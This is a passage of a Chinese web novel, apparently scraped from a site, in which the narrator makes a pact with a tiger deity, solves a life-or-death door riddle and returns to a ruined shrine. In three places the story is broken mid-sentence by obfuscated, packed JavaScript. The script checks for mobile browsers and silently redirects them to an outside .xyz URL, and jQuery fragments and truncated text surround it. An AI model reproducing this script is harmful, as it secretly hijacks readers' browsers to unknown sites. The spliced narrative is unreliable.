话音刚落,白色巨虎,又又又又膨胀了一大圈,我语言已经匮乏,吓得就剩下咽气的劲儿了,瘫软地倚在大殿的柱子上,虚脱至极,好似几句话,把我全身的精力都耗尽了。 老虎修行异常艰难,普通老虎活到山君已是不易,山君还算老虎,到了玄坛便已是神,从山君跨越到玄坛,中道失败的不胜枚数,成功升为玄坛的,世间罕见。 老虎修行亦有品阶,玄坛之后是开垣,霸州,无乾。 自玄坛开始,继续修行升阶,便不再以六年为一个计数,而是以修为论算,境界大成,方可升阶,上升一个品阶,有的可能十年八年,有的可能三五十年,有的也许成百上千年,其中折损又不计其数。 能成功跨越开垣,霸州,无乾这三个品阶,莫说屈指可数,简直难于登天,连千万分之一的概率都不到。所以说老虎修行,拼到最后拼得哪是修为道行多深,年岁日月多久啊,个自造化全凭气运,能得遇机缘安全升阶,就算熬上千年万年也值得。 能熬到眼前这位神君的品阶,其气运之佳,简直好到难以形容。 看着又大了一大圈儿的白虎,此时在白虎面前如同芝麻一样的我,忍不住发出最后的心声:“又大了又大了,这特么总不会是西方大神白虎吧!!!” 我的心声,响彻整个殿宇…… 忽然,一道刺眼的白光,晃得我睁不开眼睛。 我捂着眼睛,匍匐在地,缩着瑟瑟的身子,不敢起来,心道:完了完了,全完了,这位神君果然不是简单的山君,而是西方大神白虎,我之前冒犯的不是山君,而是这位大神,怪不得他能跨越时空把我们拘来这几十上百年前…… 我这样想着,耳边又同时响起洪钟般的声音。 什么情况!!!我特么明明没有张嘴啊!对啊,我没张嘴啊,那这些是…… 我草,这些是我的心声,这么大动静,聋子也听得见吧?!!怪不得刚才在殿外柳延年……果然是振聋发聩!!! 啊,我醍醐灌顶,恍然大悟,忍不住倒吸一口凉气:我昏迷之前在殿外,想的那些……柳延年都听得一清二楚,洞若观火……那么……神君,自然也能听见…… 我特么刚才在殿外胡思乱想,不仅要山君的虎鞭,还痴心妄想这位大神的虎鞭,怪不得他如此盛怒,我擦,我擦,我勒个擦…… 意识到这一点,我的汗岑的一下全流了下来,身体的水分仿佛已经被榨干……啊!我又倒吸了一口凉气,糟糕糟糕,我的天…… 完了完了,全完了…… 我擦,这特么到底是什么地方,为什么可以这么清晰地听见我的心声?一点隐私也没有了,这可如何是好……我思想龌龊,我喜欢意淫……这下全完了…… 嘤嘤嘤……这和光着腚满街跑,有什么区别……嘤嘤嘤……长安,你争口气,别想了,你听听你听听,凡是你所想,全特么昭然若揭,在殿中回荡,你又不是花铁铁,没有她那么不要脸……别想了,好不好,克制一下下…… 嘤嘤嘤,可是根本停不下来,我的思绪犹如潮涌,于是我的心声,继续响彻殿宇,源源不断…… 怎么办,怎么办? “神君大人在上,我……我……嘤嘤嘤,我年少无知……我……”我特么还能狡辩什么?我那点心思,跟和尚脑袋上的虱子一样,明摆着的。 嘤嘤嘤,我的心声又又响彻殿宇,嘤嘤嘤,我特么还张嘴说什么啊,我特么死定了,嘤嘤嘤…… 原来心声暴露无遗,无处遁形,是这么恐怖的一件事,竟然比死还难受,这是神君对我的惩罚吗? 我慢慢抬起头,嗯?眼前的那只巨虎已经不见了。 正对着我的是一面镜子,可是……这镜中人……平安?是你吗?平安? 有了精神,顿时有了力气,我兴奋地起身迎上前两步,然后顿住了脚,我细细看着镜中人,镜中人也细细看着我,神情举止一般无二…… 不,这不是平安,平安长相温柔,莞尔。镜中人虽然和平安颇为相像,但眉宇间英气十足,偏于硬朗。 这……这不会是……这难道是……长大后的我吗? 意识到这一点,我的心跳漏了一拍,激动的连呼吸都不敢呼吸了。 我走到镜前,瞪着眼睛生怕看漏了什么,眼睛眨也舍不得眨一下,直直的仔细看着镜中的女子,身子控制不住的颤抖,我忍不住抬手去摸,镜中的女子也激动不已的颤抖着,抬起手来…… 是了是了,这就是长大后的我,这是我,这是我,这就是我,这才是我! 啪嗒,一滴泪砸落在地……紧接着是连绵不断的泪水…… 我忙擦干眼泪,强忍着,生怕再次模糊视线,我看着我,贪婪地看着我,左转右转,左瞧右瞧,随后开心地笑起来,我笑起来的样子真美,笑着笑着就哭了,我哭起来的样子真美,哭着哭着又笑了,笑着笑着又哭了……反反复复…… 谁来看看我啊,看我多美啊,要是平安……他们…… “柳延年,柳延年,你快来看看我,快来看啊……” 嗯?柳延年呢?他去哪里了,他…… 哦,这一次,他没有陪着我啊。好失落啊…… 真是的,关键时刻,总是跟不上溜,这一次要是跟着来,多好,能看一看我长大的样子。我心中忍不住埋怨。我这么美,看 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我几乎从地上弹跳而起,四处找寻那面宝贝镜子,却一无所获。 我失望极了,委屈巴巴的掉起眼泪来,“呜呜呜……我还没有看够自己长大的样子呢,神君,能不能把镜子再借我看看?” “可是本君实在听不下去你的心声了。”神君说那面镜子是他的法器晓天镜,识人心,通古今,晓天地。 那他岂不是无所不知?也太厉害了吧!? “吾已经修行了几千年,百年前吾本可以在老唐末法时代,随着最后一次天门大开之时,飞升上界,却因缘际会误闯这山中结印,困在这山君祠中,打回山君原形,不得出,不得升阶。 李长安,方才借你的口,助我破除结印,层层升阶。虽然有些可惜,最后一句是你的心声,若是你脱口而出,我已然飞升度化成为新的西方大神白虎,看来还是我修行不够,还需机缘,如此,我愿与你……” 李长安,听到这个熟悉又陌生的全名,我有些恍惚,没有注意到神君低喃了什么。 只听神君顿了顿,接着道:“看来也是命定,如此也只能缔结主仆契,助你成就大业,与你同享气运,你可愿意?” 借我之口,层层升阶,于是要与我缔结契约? 这可是神明之契,三生有幸啊!!!我以前在典籍上读到过,没想到竟然遇上了。 哎呀呀,果然,嘴甜一些,会说吉祥话,又讨人喜欢,福报又多。我只说了几个封号,就有这么大福报,跟空手套白狼有什么区别!!!啊哈哈哈…… 还好从小我就有口德,不然,刚才我要是说,谁这么无聊,闲着没事糊这么大的纸老虎吓人,坏了它修行,这会儿怕是已经被撕得粉身碎骨了。 “你可愿意?”神君见我又在胡思乱想,不禁耐心再次询问。 “愿意愿意,自然愿意!”我回过神来,点头如捣蒜,“一百个愿意,一千个愿意。”我简直愿意得不要不要的。 62. 吻我 老虎修炼到玄坛开垣,气运便已绝佳,到了霸州无乾就更别说了,这位神君可是差一点成为西方大神白虎呢,他的气运得多强盛啊,愿意与我同享,助我成就大业,这是多大的馅饼啊! 我得赶紧接着,立马吃掉,别掉了,犹豫一下,都对不住自己刚才受的惊吓。我不停地点头说着愿意,生怕神君反悔,心里简直乐开花了。好在还有理智,不停地自我劝诫:要稳住,稳住,有神君加持,大业指日可成,大仇指日可报,切记稳住,一定要稳住! 啊,虽然,但是,我还是有点贪心,有点懊悔,要是刚才最后的封号不是心声,而是脱口而出,这会儿他都已然成为新任白虎大神,飞升上界,位列正神了。那他得欠我多大一份儿恩情啊,这要是让我抱上大腿,以后我就有神界的靠山了,什么大业完成不了啊。 噢噢噢,没关系没关系,已经很好了,别贪心别贪心,现在神君虽然是无乾大神,比白虎大神差了一点,但是缔结了主仆契,也是很大的靠山呢。 对对对,长安啊,要知足,要识好!唉,我还是年轻,得好好学学人神君,啧啧啧,还得是神君,格局就是大,气度就是稳,讨封升阶这么大的事,人一点波动起伏都没有。 啧啧啧,要不这么多老虎,怎么就他能做神君呢,换做是我,差那么一点点就做了西方正神,说不定这会儿正难受的都要哭死了。 别想了别想了,干正事要紧,赶紧把这馅饼咽肚子里,才踏实,“神君大人,咱们怎么缔结契约啊!”我问道。 无乾大神现身殿中,看着我道:“过来,吻我!” 我仰头看着眼前的巨虎,依旧控制不住地瑟瑟发抖,有些没听清楚他的话,不,是听清楚了,但是有些不确定,“吻,吻什么?” “我!”神君淡然道。 “怎么你!?”人有时候耳朵聋,是因为脑子转不过弯来。 “吻,我!”神君一字一顿。 吻他?没错,就是吻他! “吻,你,哪?”不会是嘴吧?! 想什么来什么,神君抬起他巨大的虎爪,伸出一个指头,弹出一个锋利的爪尖,戳了一下他巨大的嘴巴,爪子尖尖都戳到牙缝里了,“嘴。”神君淡然道。 额呵呵呵,亲,嘴儿! 我虽然身子不长了,但灵魂毕竟是个大姑娘,也不是没幻想过亲嘴儿这件事儿,但还真没想过,和老虎亲嘴儿,一时间有些不太能接受。 转而想到我的大业,我的大仇,若得神君相助,必定成功。于是便狠狠下了决心:好吧,神君说亲,咱就亲吧,亲个嘴儿而已,可是……咱先不说缔结契约为什么要亲嘴儿,咱就是说,神君大人你和我这种体型差,这个嘴儿怎么亲,怎么亲这个嘴儿??? 当然我不是嫌弃你提出的这个缔约方式,我个凡人那么小小一只,我岂敢造次,我只是,不知,如何,操作! “嗯,神君……”我试探着小声问道:“不是我不想吻你,实在是你个头太太太太太大了,我不知道怎么下口啊,你知道,太太太太太大,是有多大吗?就是,我脑袋塞你鼻孔里你都不觉得痒痒,喷嚏都打不出一个的那种,我怎么吻你啊?把头伸你嘴巴里,舔一下吗?” “……可以!”神君十分淡定的应允。 “啊……可以?”我脑子瞬间空白了一下,我草,居然同意了耶!?神君情绪还真是稳定呢!但这也能同意?那我……舔还是不舔,我脑补了一下画面,有点想哕。 我忍着不适,道:“嗯……那个……神君啊,我不是嫌你脏啊,我只是觉得有一点点不雅。也不是觉得不雅,就是觉得我脑袋伸进去,可能会卡你牙缝里,你能……变小点儿吗?我亲着方便些。” “也不是不能,但这是我的法相,若是缔结主仆契时,法相变小,威力就小,以后现身助你时,能运用的威力就小,你……” 我不等无乾神君说完,就急不可耐道:“能变得再大点吗?”说着,还用手往最大的范围比划了一下。 “已经最大了。”神君的语气朴实无华,没有任何波动。 “嗯嗯,那我亲了哈。”我清了清嗓子,往前走了一步。 神君也把头低了低,迎合上来。 我垫着脚尖,对着虎口,向左歪歪头,然后又向右歪歪头,想找一个比较合适的位置,却哪哪都不合适。 神君就耐心等着。 我想我感觉这么不自在,究其原因,应该是神君睁着眼睛盯着我的缘故,我不好意思了。 嗷呦,我内里可是个实打实的姑娘,神君虽然是个老虎,但到底是个男……雄的。 我害羞也是正常,于是我提议道:“神君,你能不能把眼睛闭上,你看着我,我有点不会亲。” 神君便把巨大的眼睛合上。 “神君你这样还是太高了,能不能低一点……再低一点……再低一点……” 要不怎么说,人家是神君呢,情绪是真稳,性格是真好。温顺地听话照做,一点没有架子。 我磨蹭了半天,神君都耐心等着,搞得我竟有些愧疚起来。 于是最后我心一横,眼一闭,踮着脚尖,撅着腚,把脸往神君人中和下唇中间结合的那个三角缝里一怼一杵,小嘴巴一嘟一揪,“么”的一下,“可以了吗?”不可以,我还能再多“么么”几下。女人突破第一次以后,再有多少次,都不是事儿。 “可以啦!” 神君话音刚落,大殿的门就打开了,一阵风将我吹了出去,正落在晕厥的柳延年怀里。柳延年被我一砸,吃痛苏醒,缓缓睁开眼睛,问道:“发生什么事了?我怎么又晕了,哦,长安,你刚才你……” “住口,别说,什么都不许说,什么都没发生,都是你在做梦。”想起刚才我的那些震耳欲聋,我瞬间红了脸,厉声打断柳延年的询问,急忙找了个借口,胡乱搪塞过去。 柳延年抽了抽嘴角,悻悻地住了口,道:“那咱们还是赶紧继续给神君赔罪,求他饶恕你……咱们的无意冒犯,请他早日放咱们回去吧。”说完柳延年又开始跪地虔诚叩拜。 “到供台上去。”大殿里的神君道。 “去供台?好的。”我恭敬地点头应和。 “长安你不赶紧跪地求饶,你在跟谁说话?”柳延年奇怪地问我。 “嗯?你没听到吗?”我反问道:“你听不到吗?” 柳延年大概平时志异故事看多了,这会儿瞬间脑补了一些,我能看见他却看不见的灵异,正在他周围站了一圈儿,顿时起了一身鸡皮疙瘩,汗毛都竖起来了,结结巴巴地问:“听,听到什么?” 我眼睛一转,心想我们经历的怪事太多了,他一直绷着一根弦,也不知哪一刻承受不住就断了。有些事儿他不知道倒是好事儿,我也省得解释,便道:“哦,没什么,别害怕,来,到供台这边来。” 说完,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849487|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像昨晚一样,又飞身上了供台。柳延年赶紧起身走过来,看着供台,又咦了一声,凑上来弯腰趴在供台上,侧头仔细看着台面,蹙眉道:“长安,你看这道裂缝……” 柳延年的话音未落,“啊……”果然又特么裂缝了…… 神君,咱就不能换一个方式吗?柳延年真的很重,我小个头不逞他几回这么压啊。 然后我们又重重摔下去…… 月上中天! 看着远处的金光,我心中不禁抱怨:啧啧啧,神君就不能把我们直接送到地儿吗?非得让我们赶这么一段路! “这,这特么果然无限流了!”看着远处又变细了一圈的巨树,柳延年忍不住爆了粗口,“还是那种越穿越时间越往前的那种。” 柳延年说,刚才那个时空,我们努努力活着,还能活到之前的时代和平安他们相遇,起码交代一下前因后果和后事再咽气,是没问题的。现在,彻底无望了…… 我带着情绪十分低落的柳延年,飞身越过山林再次来到金光之中。然而,这次这里并没有什么神庙,而是一座大山。我们正愁无路,忽然一只小兔子,来到我们脚边,来来回回,蹦蹦跳跳,示意我们跟着走。 我想起之前在神殿中口封之事,便叮嘱柳延年:“大哥,这里并非凡界,一会儿不管看见什么都不要乱说话,如果忍不住想说,也要说好听的话,说吉祥话,相信我,积口德会有福报的。” 柳延年看了看我,瞬间明白其中厉害,认真点点头。 我们跟着小兔子一路进了一个山洞,通过长长的隧道,小兔子引我们来到一个巨大的洞府前,洞府奢华无比,与皇宫不逊分毫。 柳延年震惊不已,刚要说话,便想起我之前的嘱托,就住了口。 我们随着小兔子走进大殿,却见一只毛色油亮、品相极佳、体态俊美的白底黑纹大虎,懒懒地躺在正堂之上,他的大尾巴有一下没一下的敲着一口金钟,每敲一下,金钟就散发出好多发着金色光芒的小星星,纷纷扬扬飘向上空,原来,那些金光是这么来的。 最让我们难以置信的是,这只大老虎身边围了一圈儿小兔子。柳延年以为看花了眼,使劲儿揉了揉眼睛,再三确定。 只见,小兔子们井然有序地伺候着这只大老虎。一对儿小兔子正有模有样给它掏耳朵,三五只小兔子给它捶腿,七八只小兔子给它按摩,有拿着篦子给它梳理毛发的,有举着矬子给它修磨爪子的,最让我惊掉下巴的是,居然还有相互帮持着给它扶烟枪的…… 刚才领我们来的小兔子,完成引路任务,就开开心心,蹦蹦跳跳地回到大老虎身边,将烧开的水壶从小陶炉上提下来,然后施展技艺超绝的茶艺功夫,最后将沏好的茶,端给大老虎品尝…… 回过神来,我倒觉得还怪好玩儿的,暗叹这神君还挺会享受的。 再看,身边儿的柳延年一点也不觉得有趣,此时他紧紧咬着嘴唇一言不发,额头汗流不止,呼吸跟着身子一起颤抖。我看他不停的掐自己大腿,想来他应该觉得眼前的一切和他讲得聊斋志异有得一拼,他应该是把神君当成妖怪了吧,我祈祷他别张嘴,一定不要乱说话,坏了我家神君的修行,我还怎么享气运,成大业,报大仇…… 于是,暗中死死关注着柳延年,想着一旦发现他有什么不对路,我就立即将其击晕。 “这是我的真身。”神君缓缓吐了一个完美的烟圈儿,声音不怒自威。 63. 生死门 真身,还能是谁的真身? 我和柳延年闻言瞬间了然,眼前就是神君本尊。起初柳延年还有些不相信自己耳朵,惊得眼睛都要瞪出来了。不过他天生仙骨,又是穿越过来的,本身经历便颇为离奇,也算是见过世面的,须臾片刻,便接受一切,恢复正常。 我正欲拉着柳延年给神君行礼,神君叫我们不必多礼,对着他的小兔子们道:“吾要入世历练,你们且在这里安心等候,待吾不日凯旋,带你们一同飞升。嗯,也许用不了那么久,一会儿吾就回来了……” 说完,神君的真身,就幻化成一只花狸子,朝我们走来,柳延年还是忍不住害怕,稍稍向后躲了躲。神君对他视而不见,只走到我面前,轻轻一跳,我顺势一接,将它抱在怀里。 神君说,一会儿,他就回来了?这里的时间果然和我们原本的世界不一样!!完成我的大业,大概需要耗费我一生光阴,对他来说不过须弥片刻、弹指一挥,啧啧啧,神人果然不同,我心中暗道。 “还有最后一关,若是你能顺利通过,咱们的主仆契约,才算真正完成。”神君缓缓道。 柳延年听到主仆契约,捂着嘴巴,惊奇地看着我。我给了他一个确定的眼神,又给了他一个不要多问的眼神。 神君说完,我们眼前的洞府忽然消失不见,下一瞬面前出现两扇青铜门,不等我细细观摩,怀里的神君对着青铜门,朗声道:“开。” 两扇青铜门,便应声开启,接着里面走出两个妙龄少女。 其中一人道:“我们是结印阵法内,镇守生死门的使者,我们身后一扇是生门通向人间,一扇是死门直达地狱,我们一个只说真话,一个只说假话,你们只有一次机会,选择我们其中一个人,问一个问题,我们只回答一个字,生或死,一炷香内选出生门,若选错,或没及时作答,都将归入死门去往地狱。” 说完,她一挥手,一个点燃的香炉就出现在我们眼前。 柳延年方才刚一听到问题,就十分激动,这会儿将我拉到一边儿说道:“长安,你放心,你不用着急,这是一个奥数题,这题我以前做过类似的,不过我猜的不是生死门,是两个盒子,猜哪个盒子里有苹果,虽然已经有些忘了怎么解,但我记得我当初有仔细研究过答案,你放心,我想一想,一定能想起来,马上就能解出来,嗯!” 柳延年说到最后,还颇为庄重地嗯了一声,点了点头,让我放心安心,全权交托给他的样子。 “可是这有什么好想的呢?” 说谎的人和说真话的人,答案永远一致。知道这个前提,这道题有什么难得呢!? 我抱着神君走到一个守门使者面前问:“如果你是她,你会告诉我什么?” “死!” 死,如果你说的是真话,那么对方的答案就是“死”,已知说谎的人和说真话的人答案一样,那么你原本的答案也是“死”。由此可以看出,对方是说谎的一方,她的答案是“死”,那她身后一定是生门。 如果你是说谎的那一个,你给我的答案是“死”,那对方的答案就是“生”,已知说谎的人和说真话的人答案永远一致,也就是说你原本的答案也是“生”,你是说假话的,所以你身后的一定就是死门,对方是说真话的人,她身后必定是生门,那么…… “我选她身后是生门!”我果断给出答案。 柳延年有些跳脚,想阻止已经来不及了,我已经答完题了,眼见得他额角豆大的汗珠往下掉,仿佛我们马上就要下地狱了…… 下一刻,两位使者和死门都消失了。 “啊,这就答对了?”柳延年不可置信。 “不然呢?” “这道奥数题很难的!” “谢谢夸奖!哦对了,你回忆起你的答案了吗?和我的解题思路一样吧?” “……没有……很久之前做的题,哪能这么快想起答案来。” “所以,以后遇到做过的题,与其回忆答案,不如从新来做。” 我一手抱着变成花狸子的神君,一手牵着柳延年,勇敢的踏进生门之中,一道刺眼的光束将我们包围。 这是一条光明之道…… 神君兴奋地在我怀里上蹿下跳,哈哈大笑,“啊哈哈哈哈……出来啦,吾终于出来啦,哦吼,哦吼,出来了,我终于出来了,吼吼吼……啊哈哈哈……” “神君,你笑得有点不像个好人啊?”一点之前情绪稳定的样子都没有了。 神君完全不理我,继续沉浸在喜悦和癫狂中…… 我后来才知道,神君之前那么淡定,是因为没想着自己能真的从结印里出来,所以当初跟那些小白兔说他一会儿就回来,是真的以为自己大概率一会儿就回去了。 我擦,神君啊神君,口口声声缔结契约,同享气运,共谋大业,却居然对我这么没信心! 而且,我也是后来才知道,神君真的对我这小小一个人类很没信心,当时在破旧山君祠前,所有人都入了定,只有我和柳延年能保持清醒,可以随意走动,绝非偶然。那是因为柳延年,就是神君给自己安排的退路,用柳延年的话说就是备胎。 神君打算在我选生死门失败以后,他就吞下天生仙骨的柳延年保住修为,逃出死门,退回结印。啧啧啧,要不怎么说这么多修行的老虎,就他能到这个品阶呢。他一开始就是两手准备,我成功了,自然皆大欢喜,我失败了,他继续在结印里待着就是。 对啦,当时我们在破旧山君祠前,许愿要山君虎鞭的时候,柳延年看见的巨大老虎,不是幻觉,就是神君的法相。 神君感知到我气运的同时,也发现了柳延年天生仙骨的圣体之身,就出来察看,其实原本神君隐身,柳延年是看不见他的法相的。 只因我许愿之时,柳延年打岔,我嘴一瓢,将“山君大人保佑我得到山君的虎鞭”,说成了“山君保佑我得到山君大人的虎鞭”。而且我二人还没羞没臊的讨论了,山君大人棍棍,蛋蛋,一个两个一整套的问题,就把他惹恼了,才现了身。 唉,毕竟嘛,就算神君已经得道了,也终究是个男……雄性,那东西不用归不用,别人谈论着怎么一个两个一整套的弄去补身子,也是万万不能容忍的。 这条光明之道略显漫长……终于白光散去,我们回到那座荒废破败的山君祠,这一次,还不错,我们没有被送到山中偏远之处。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859251|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可是,日上三竿的山君祠,却,一个人也没有…… 柳延年的蒙面纱巾昨晚穿越的时候遗落了,乍一现身,害怕被人看见男扮女装的她,满脸的胡茬,就用帕子捂着脸,夹着嗓子叫了几声堂邑夫郑清平安和花铁铁的名字。 无人回应,我又吹了几声哨子,对暗号,也没有堂邑夫的响应。 他们并不在附近。 于是,我们顺着步道,拾阶而下,离开山君祠…… “咱们这是……咱们到底回来了没有?”虽然脚下是苔痕斑驳的石阶,但柳延年还是不确定,怯怯地问:“别是还在无限流穿越中吧。” 我也满心疑惑,低头看着怀里的花狸子神君,正欲询问,却发现神君一只眼睛变成了金色,散发着金色的光,仔细看仿佛是一个法阵。这是什么?我心中不禁问道。 “这便是主仆契地接成功的法阵。”神君道:“离开山君祠,结印之后,我说话便只有你能听见,这个法阵也只有你和有术法修行的人能看见。从现在开始,你和我心意相通,交流亦可不必再嘴说。” 啊,那我岂不是又无所遁形?我心头一紧,神君立即解释道:“不用担心,你想对我说的话,我才听得到,你想让我知道的想法,我才能通晓。” 啊,这么神奇?于是我尝试闭着嘴,心道:“神君,神君。” “说。” “嗯……我还真有个事,想求你。”我道。 “什么事直接吩咐便是。” 神君大人还真是,居然用吩咐这么大的词,我哪受得起啊,我心虚地打哈哈道:“啊哈哈哪里哪里,吩咐不敢,我哪敢吩咐您啊,我就是……” 我犹豫了一下,壮着胆子问:“嗯,就是咱们不是签订主仆契了吗?我想着在人间咱们还是需要稍微隐藏一下的,我建议可以换一下身份,就是在人前,我假装是主,你假装是仆行不行,不然我老对着您现在的猫身低声下气,谨小慎微,实在奇怪,被人猜疑也不好。”主要是我怕花铁铁见我对一只猫低三下四,看破端倪,以此来嘲笑我,拿捏我,我会很受不了的。 怀中的花狸子神君不解的仰头看着我。 我继续道:“你放心,人后我必定规规矩矩,好好伺候您,唯命是从,忠心不二,绝不白白与您共享气运,怎么样?” “嗯?……我倒是可以答应,但,你,确定?”神君满脸疑惑,难以置信的样子,歪着头看我,样子甚是可爱。 “当然啦!”我一听神君答应,一时激动,竟大声叫了出来。 吓得柳延年一个激灵,道:“长安,你咋了,呆愣着老半天不说话,突然来这么一句。” “啊,我是说,咱们当然回来啦。”我赶紧搪塞柳延年,看了看周围,我身子有些虚弱,好似全身的精力都耗尽了一般,实在不想走动半步,于是席地而坐。 心想:先休息一会儿,再去找平安她们。 这时神君道:“咱们直接下山就可,那只……山君已经被人打死了,这山中已经没人了。” “什么?!”我大叫一声。不会吧,就算山君被打死了,别人都下山了,我和柳延年没回来,平安她们怎么可能也跟着下山去呢。 64. 主仆 柳延年刚在我身边坐了下来,就被我这声大叫,又吓得一哆嗦,差点从石阶上出溜下去。想着之前洞府里的情形,又看了看我怀里变成花狸子的神君,柳延年立即明白,我一惊一乍的,可能是在跟神君交流。 “什么‘什么’?长安你这么大反应,难道,咱们根本就没回来,还在无限流中!?我没事儿的,你别怕我接受不了,别哄我,有什么直说就行。”柳延年汗涔涔,捂着心口,却硬装出一副他什么大风大浪没见过的样子。 我如是跟柳延年转述了一下神君的话,说山君已死,山中无人了,平安她们都走了。 柳延年闻言也不可置信的大叫一声,然后很失落地道:“他们居然不等咱们,是确定咱们回不来了吗?就这么跟着人群一起下山了。” “哎呀,先别伤心嘛,咱们都是一家人,他们不会抛弃咱们的,咱们这边的情况他们不清楚,他们那边什么情形咱们也不知道,先不要下定论。等汇合以后,坐在一起说开了就好了。” 我安慰着柳延年,看了看怀里的神君,眸子一垂,接着道:“大哥,咱们这一遭奇遇,我不想其他人知道,包括堂邑夫,也包括平安,到时候咱们一家人坐在一起,问及经过,我来分说,你帮着隐瞒,切莫拆穿。至于昨晚到底发生了什么,你知我知天知地知,还有我可爱的小花狸子知就行了,明白了吗大哥?” 我这样叮嘱柳延年,其实主要是不想让花铁铁知道,她要是知道了,全天下都知道了。 “明,明白!”柳延年看了一下神君,立即点头答应,又毕恭毕敬地问道:“那以后怎么称呼神君大人啊?” “就叫神君啊。”我找了个舒服姿势,倚在柳延年的臂弯里,“哦对了,还好你够胆量嘴巴严,当时在洞府看到那种情形,也没乱七八糟的瞎说胡叫,要知道他们神灵修行最怕遇见嘴恶之人,好多都是毁在口劫上。” “这多亏你提前嘱托,不然,还真不好说会出什么披露。”柳延年心有余悸,志异故事他看了不少,自然知道神灵修行讨封一事。 “呵呵,你这大哥倒也谨慎,其实之前在神祠里,你已经口封我了,把你们召唤进洞府见我真身的时候,已经不用避口劫了。”神君道。 “这么说,你的口封已经全都顺利度过了?”我对神君心道。神灵修炼必历口劫讨封,度不过去的是劫,度过去的是封。 “嗯,正是。”神君颔了颔首,接着似乎想起什么,迟疑了一下,道:“有一事,我希望你答应我,不答应也无妨。” 高高在上的神君,有事找我?希望我答应,不答应也行?我滴个神君啊,主仆之间哪有这样吩咐事的,就算是刘景,对我百般宠爱,也从来没有这样抬举我的时候啊。 神君对我也太好了吧,我真是遇见了很仁慈的神呢。 是了是了,神君本就是仁慈的神,且看那些服侍他的小白兔们就知道了。神君跟我说话的语气比对那些小兔子和气多了,如此,我一定要比那些小兔子伺候得更好。 “神君大人请讲?我必肝脑涂地。”我恭恭敬敬地心道。面上我依旧闭目养神,柳延年正用他的宽袖给我遮阳。 “嗯,那倒不必,嗯……也不是什么具体的事情,只是一个想法,嗯,我希望,你只和我签订主仆契,不要再和旁的什么签订主仆契了。”神君语气真诚……似乎还带着恳求,略微的讨好,充满希冀,有些惴惴,仿佛许下了什么不可实现的愿望似的,一点不亚于我在山君祠前的祷告。 啧,神君还挺懂人情世故的,知道提要求,态度得谦卑。 搞得我当是什么难办的事儿呢!就这啊?可这有什么不好答应的? 在我看来,神君担心的都太多余了,能和神君签订主仆契,已经是三生有幸,千载难逢的机缘了,哪还有什么旁的? 末法时代以后,诸多没来的及通过天门飞升上界的神灵,都在大乱战的天劫中一同殒身,自那以后,人间哪还有什么大神啊,神君要不是被困在结印里,才存留世间,又岂会被我遇上。 就算还有,还能都叫我遇上啊?残存世间的各路大神都来找我缔约,那我得是多抢手的香饽饽啊?再说我是什么很贱的人吗?天生做仆婢的命?就为了点气运,给各路大神当牛做马? 切,在神界我什么都不是,在凡界我可是响当当的凤主,我的主子可是天子。我高傲着呢,我怎么可能到处缔约,到处找主子,到处给人做奴仆呢?我可不想伺候那么多大神主子! 对,我凤主,即便是在神界,也是骄傲的存在,绝不会低三下四! 我这会儿几乎已经忘了之前,在神殿里,差点给神君的法相吓尿唯命是从的事了。 人生在世面子都是自己给的,把自己抬高以后,我顿时腰板挺直很有精神,爽快地道:“神君大人,关于这件事,你且放一百个心,一万个心,我答应你,就只和你缔约。以后,咱们就如方才说好的那样,人前我是主你是仆,私底下,我绝对对你唯命是从,忠心不二。” 我这人最守道义,一仆不侍二主的道理我懂,放心吧我的神君大人,作为高高在上的无乾大神的缔约仆人,我也是很金贵的好吧,不是谁想奴役就能奴役的。这种拍马屁的想法,我自然会让神君明明白白清清楚楚地感知到。 神君脸色几经变换,迟疑了片刻,问道:“哦……主仆契,你了解是什么吧?” “了解啊。”这有什么不好了解的,顾名思义,字面意思呗。我有些困了,却依旧强打着精神和神君交流。 “需要我和你细细说一下吗?”神君试探地问。 “不用,出生死门的时候,我智慧如何你也看到了。主仆契这种小问题,我还能不懂吗?”我虽然是一介凡人,但我也有我的骄傲,我的聪慧那可是连我师父都夸赞不已的。 为了打消神君的顾虑,我认认真真,郑重承诺:“我此生只和神君一个,缔结主仆契约,我们一主一仆同享气运,共创大业。” “……好,你的承诺,我收下了。”神君甚是感动地点点头,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861584|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又恢复一副睥睨众生的样子。 我觉得这样不好,不是一只猫该有的样子,也许是我做贼心虚,才这么怕被人看出端倪,但小心为妙,“嗯,在人间,还请神君尽量表现的和一只凡猫一样哈,拜托啦。” 凡人大多见识短浅,那些智慧过于精明,行为过于特殊的动物,会被认为是妖孽,我可不想被人误认为是在养妖猫,而横生是非。且我高高在上的神君主人,若被冠以妖称,也实在有辱尊荣。 “是。”神君应了一声,接着在我怀里“喵”了一声。 “我去不是吧,神君叫得这么夹?”柳延年简直不相信自己的耳朵,退了好远。 